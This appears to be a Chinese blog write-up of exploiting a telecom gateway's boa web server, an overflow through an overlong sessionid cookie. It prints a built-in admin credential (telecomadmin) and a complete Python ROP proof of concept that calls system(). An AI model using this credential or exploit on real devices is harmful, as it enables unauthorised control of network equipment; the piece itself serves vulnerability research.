记一次网关设备的pwn

01.获取设备shell

先来看看web登录界面如下


在之前购买相同登录界面的设备固件中发现内置了一个帐号
telecomadmin/nE7jA%5m
登录成功


如此看来该系列都会内置如此的帐号。
随后查看了一圈功能发现了拥有telnet服务,但是没有开启,也有别的rce漏洞可以用,这里直接强行开启telnet服务。
通过修改前端的html标签的属性成功开启了telnet服务


登录telnet后并打包系统


系统文件

02.模拟环境

通过端口查看到web服务对应的进程是/bin/boa的文件,架构是mips大端。
直接使用qemu来模拟执行,需要修改boa里一点点代码逻辑即可成功运行,不做多描述。
cmd输入命令

1

chroot ./ ./qemu-mips-static -strace ./bin/boa1


因为缺失很多硬件的数据,所以这里只能访问到基本的页面。

03.漏洞挖掘

ida查看部分函数


存在漏洞的函数
search_login_list


get_sessionid_from_cookie


可以看到,在get_sessionid_from_cookie函数中并没有指定sessionid的长度。
通过qemu添加-g来可以通过ida来调试
栈溢出
sscanf执行前
可以看到,a2由s0来指定,s0的值是0x407FFD28
 


0x407FFD54是返回地址
sscanf执行后
可以看出,这一整块栈数据都被'a'填充了,包括返回地址

由此证明,可以通过超长的sessionid来进行栈溢出攻击。

04.漏洞利用

通过ida的插件mipsrop在libmib.so寻找到大量的rop,最终选定可用的两个



通过该rop调用system,由上面代码可以看出
计算出payload的大小为:0x23C-0x20=0x21C
sp+0x20为payload
sp+0x23C为system函数地址
构造的poc如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

from socket import *

HOST='192.168.92.129'

PORT=80

BUFSIZE=1024

ADDR=(HOST, PORT)

tcpCliSock=socket(AF_INET, SOCK_STREAM)

tcpCliSock.connect(ADDR)

rop_ImageBase=0x3FECB000

rop_offset_1=0x000ACCE0

rop_offset_2=0x0001DAB8

rop_Addr_1=rop_ImageBase+rop_offset_1

rop_Addr_2=rop_ImageBase+rop_offset_2

libc_ImageBase=0x3fa8e000

_system=0x0005EDD0

Function=_system+libc_ImageBase

print(hex(Function))

MaxShellBufSize=0x21C

Shell=b"echo PwnByWowfk"

Shell+=b"&echo "

FkData=b"aaaa"*11                        #填充栈到返回地址

FkData+=rop_Addr_1.to_bytes(4,"big")    #ra     跳转到rop_1设置a0参数

FkData+=b"aaaa"*8

FkData+=Shell+b'a'*(MaxShellBufSize-len(Shell))

FkData+=Function.to_bytes(4,"big")        #s0        用于调用api

FkData+=b'None'                            #s1

FkData+=rop_Addr_2.to_bytes(4,"big")    #ra     由rop_1调用跳转到rop_2

FkData+=b'\0'

print(len(FkData))

data=b"""GET /wowfk HTTP/1.1

Cookie: sessionid=%s

"""%FkData

print(data)

tcpCliSock.send(data)

while True:

    data=tcpCliSock.recv(BUFSIZE)

    if not data:

        break

    print (data.decode("gbk","ignore"))

tcpCliSock.close()

最后执行效果如下

05.结语

qemu的模拟对imagebase查看的话用ida附加后在main下断点然后在qemu加-strace可以在输入信息可以看到
第一次搞mips的pwn磕磕碰碰了许久才折腾成功,学到了很多东西。
由此发文记录一下~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值